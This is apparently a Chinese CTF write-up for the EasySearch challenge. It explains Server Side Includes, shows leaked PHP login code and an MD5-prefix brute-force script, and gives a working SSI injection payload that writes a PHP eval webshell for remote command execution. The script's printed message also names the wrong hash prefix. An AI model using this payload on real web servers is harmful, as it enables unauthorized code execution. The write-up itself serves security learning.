这篇是在做[BJDCTF2020]EasySearch的时候写的,主要还是基础知识还不够广泛导致不会利用shtml。
原理 介绍一下shtml,全称Server Side Includes HTML,主要作用是再HTML上插入服务器端的指令,语法是<!--# -->,例如<!--#exec cmd="command" -->便是运行command指令。这也没什么难度的,就是得有这个知识。
题目分析
一个登录界面,先试试弱密码和sql注入,发现都没用,再抓个包,也发现数据包没有什么可利用的点。那就开始目录扫描,最后扫出来index.php.swp可访问,那么访问查看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php ob_start(); function get_hash(){ $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-'; $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times $content = uniqid().$random; return sha1($content); } header("Content-Type: text/html;charset=utf-8"); *** if(isset($_POST['username']) and $_POST['username'] != '' ) { $admin = '6d0bc1'; if ( $admin == substr(md5($_POST['password']),0,6)) { echo "<script>alert('[+] Welcome to manage system')</script>"; $file_shtml = "public/".get_hash().".shtml"; $shtml = fopen($file_shtml, "w") or die("Unable to open file!"); $text = ' *** *** <h1>Hello,'.$_POST['username'].'</h1> *** ***'; fwrite($shtml,$text); fclose($shtml); *** echo "[!] Header error ..."; } else { echo "<script>alert('[!] Failed')</script>"; }else { *** } *** ?>
分析一下代码,定义了get_hash()函数进行sha1运算,再看下面,用post传username且不能为空,又定义了admin字符为”6d0bc1”,让我们用post传password并让password的md5前6位等于”6d0bc1”,这好办,写个脚本跑一下。
1 2 3 4 5 6 7 8 9 10 import hashlib import string import itertools for length in range(1, 7): for item in itertools.product(string.ascii_lowercase + string.digits, repeat=length): s = ''.join(item) result = hashlib.md5(s.encode()).hexdigest() if result[:6] == '6d0bc1': print(f'找到了匹配的值!字符串 {s} 的MD5前6位是c4d038') break
跑出来password可以等于”byae0”和”ap373t”。
接下来继续分析: 利用get_hash()创建一个shtml,把username写进去。在上方的原理部分也写过了,shtml可以运行exec函数,那么我们只需要让<!--#exec cmd="echo <?php eval($_POST["nebu"]);?> > nebu.php" -->被写进去即可生shell,这里得把payload变成<!--#exec cmd="echo PD9waHAgZXZhbCgkX1BPU1RbIm5lYnUiXSk7Pz4=|base64 -d>nebu.php"-->。因为直接传跑不出来,原因还没找到。
右边又url_is_here,访问url
可以看到运行成功了,那么访问/public/nebu.php进行rce即可
成功拿到flag:flag{f28c3c88-581a-4719-8799-6525d92ac6e3}